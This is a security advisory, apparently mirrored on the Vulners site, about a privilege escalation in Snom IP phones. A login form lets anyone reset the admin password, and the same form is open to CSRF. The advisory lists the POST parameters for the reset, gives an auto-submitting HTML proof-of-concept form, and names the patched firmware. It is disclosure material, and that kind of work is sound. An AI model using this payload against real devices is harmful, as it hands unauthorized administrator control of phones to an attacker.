Vulners
Lucene search
Snom IP Phone Privilege Escalation
🗓️ 23 Feb 2012 00:00:00Reported by Nathaniel CarewType 
packetstorm🔗 packetstormsecurity.com👁 54 Views
`Sense of Security - Security Advisory - SOS-12-001
Release Date. 23-Feb-2012
Last Update. -
Vendor Notification Date. 27-Jan-2012
Product. Snom IP Phone series
Platform. Hardware
Affected versions. All versions prior to v8.4.35
Severity Rating. High
Impact. Privilege escalation
Attack Vector. Remote without authentication
Solution Status. Vendor patch
CVE reference. CVE - not yet assigned
Details.
The privilege escalation is possible because the form used to
login as the admin user is the same form for resetting the
admin password, and the user is not required to enter their
old password when changing their password. This form is also
vulnerable to Cross-Site Request Forgery (CSRF).
This issue is exploitable on the following pages:
Version 7, 8: http://x.x.x.x/advanced_network.htm
Version 6 and below: http://x.x.x.x/advanced.htm
Where an attacker can reset the Administrator password by
removing all password attempt variables and adding the
following POST data:
admin_mode=on
admin_mode_password=newpass
admin_mode_password_confirm=newpass
Settings=Save
hidden_tag=(leave as the current post variable if CSRF
protection is enabled in firmware versions 7.1.33 and above)
After sending the request the attacker can now login as the
Administrator with the credentials specified in the above
request.
Proof of Concept.
<?php echo htmlentities('<html>
<head></head>
<body onLoad=javascript:document.form.submit()>
<form action=" http://x.x.x.x/advanced_network.htm" name="form"
method="POST">
<input type="text" name="admin_mode" value="on">
<input type="text" name="admin_mode_password" value="newpass">
<input type="text" name="admin_mode_password_confirm" value="newpass">
<input type="text" name="Settings" value="save">
</form>
</body><br>
</html>'); ?>
Solution.
Download the latest firmware version 8.4.35 for the Snom phone from:
http://wiki.snom.com/Firmware
Discovered by.
Nathaniel Carew from Sense of Security Labs.
About us.
Sense of Security is a leading provider of information security and
risk management solutions. Our team has expert skills in assessment
and assurance, strategy and architecture, and deployment through to
ongoing management. We are Australia's premier application penetration
testing firm and trusted IT security advisor to many of the country's
largest organisations.
Sense of Security Pty Ltd
Level 8, 66 King St
Sydney NSW 2000
AUSTRALIA
T: +61 (0)2 9290 4444
F: +61 (0)2 9290 4455
W: http://www.senseofsecurity.com.au
E: [email protected]
Twitter: @ITsecurityAU
The latest version of this advisory can be found at:
http://www.senseofsecurity.com.au/advisories/SOS-12-001.pdf
Other Sense of Security advisories can be found at:
http://www.senseofsecurity.com.au/research/it-security-advisories.php
`
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
23 Feb 2012 00:00Current
0.5Low risk
Vulners AI Score0.5